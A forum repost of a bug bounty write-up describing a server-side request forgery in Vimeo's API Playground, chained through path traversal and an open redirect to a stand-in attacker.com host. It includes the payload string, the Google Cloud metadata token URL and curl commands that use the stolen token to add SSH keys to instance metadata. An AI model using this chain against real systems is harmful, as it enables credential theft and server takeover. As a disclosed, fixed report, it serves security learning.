Nytro Posted March 13, 2019 Report Share Posted March 13, 2019 Vimeo SSRF with code execution potential. Harsh Jaiswal Mar 8 Recently i discovered a semi responded SSRF on Vimeo with code execution possibility. This blog post explains how i found & exploited it. So lets get started. Background. Vimeo provides an API console for their API called API Playground, The requests made using this web app is done from server side. Take the bellow request as an example. Base request This request is supposed to make a server side GET request to https://api.vimeo.com/users/{user_id}/videos/{video_id} If you look closely to the request we control quite of things here, First the uri parameter which is the endpoint to hit on endpoint i.e. in this case is /users/{user_id}/videos/{video_id} , Request method i.e. in this case is set to GET , params which are supposed to be post parameters if the request method is POST. user_id & video_id are kind of variables whose values gets defined in segments parameter. Path traversal in HTTP requests made on server side. I first tried to change URI parameter to my custom path however any change in URI will result into a 403, Means that they’re allowing set of API endpoints. However changing the value of variables such as user_id & videos_id is possible because they’re intentional and because this values reflect in the path of URL. Passing ../../../ will result in a request to ROOT of api.vimeo.com Bellow is what happens. URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”) Result : https://api.vimeo.com/attacker Path traversal in HTTP requests made on server side As you can see in response all endpoints of api.vimeo.com is listed which is root response of api.vimeo.com if you make an authenticated request (with authorization header) . What now? We’re still on api.vimeo.com host, how do we escape it? Well i figured that this is following HTTP 30X redirects, Its a long story took some a bit logical thinking. Back to the point, Now i know this is following HTTP redirects and we’re good to move forward, We need an open redirect so that we can redirect server to our controlled asset. The good old content discovery… A minute of content discovery and i came across an endpoint on api.vimeo.com which makes a redirection to vimeo.com with our controlled path on vimeo.com https://api.vimeo.com/m/something api.vimeo.com to vimeo.com Cool, Now we have a wide scope to find an open redirect, I have a not very useful open redirect on vimeo.com , I wont be disclosing its details but lets just assume it is something like this https://vimeo/vulnerable/open/redirect?url=https://attacker.com This makes a 302 redirect to attacker.com, Chain completed to redirect to attacker asset.. The final payload to redirect the server to our controlled asset is ../../../m/vulnerable/open/redirect?url=https://attacker.com Passing this value inside video_id will parse URL in this way https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com Which on parsing becomes https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com HTTP redirection made & followed to https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com Another HTTP redirection made & followed to https://attacker.com SSRF Achieved, Redacted details regarding the open redirect and my domain. The server expects a JSON response and parses it and shows in response. Exploiting.. As Vimeo infrastructure is on Google cloud, My first attempt was to hit the Google metadata API. I followed the approach taken by André Baptista (0xacb) This endpoint gives us service account token. http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json { “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } } Scope of token $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA Response: { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } I could then use this token to add my public SSH key to instance and then connect via my private key $ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]} Response: { “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"} And… keys added *Le me However SSH port was open on internal network only :(( but this was enough to proof that internally this can be escalated to shell access. Kubernetes keys were also extracted from metadata API, but for some reason i was not able to use them, Although Vimeo team did confirm they were valid. Due to my work & involvement with Vimeo, I was allowed to go deeper than would normally have been allowed. That’s it folks. I hope you liked this. Share/Re-Tweet is much appreciated, Have any questions regarding this? DM @ rootxharsh Thanks to; Vimeo team for allowing disclosure of this issue. Andre (0xacb) for his awesome report Brett (bbuerhaus) for his write up about this SSRF (He and Ben have some lit AF writeups) Timeline 28th Jan early morning : Initial discovery. 28th Jan : Triaged by HackerOne team 28th Jan : Vimeo team rewarded initial $100 and pushed temporary fix. 30th/31st Jan : Permanent fix pushed 1st Feb : $4900 rewarded. Harsh Jaiswal Sursa: https://medium.com/@rootxharsh_90844/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e Quote Link to comment Share on other sites More sharing options...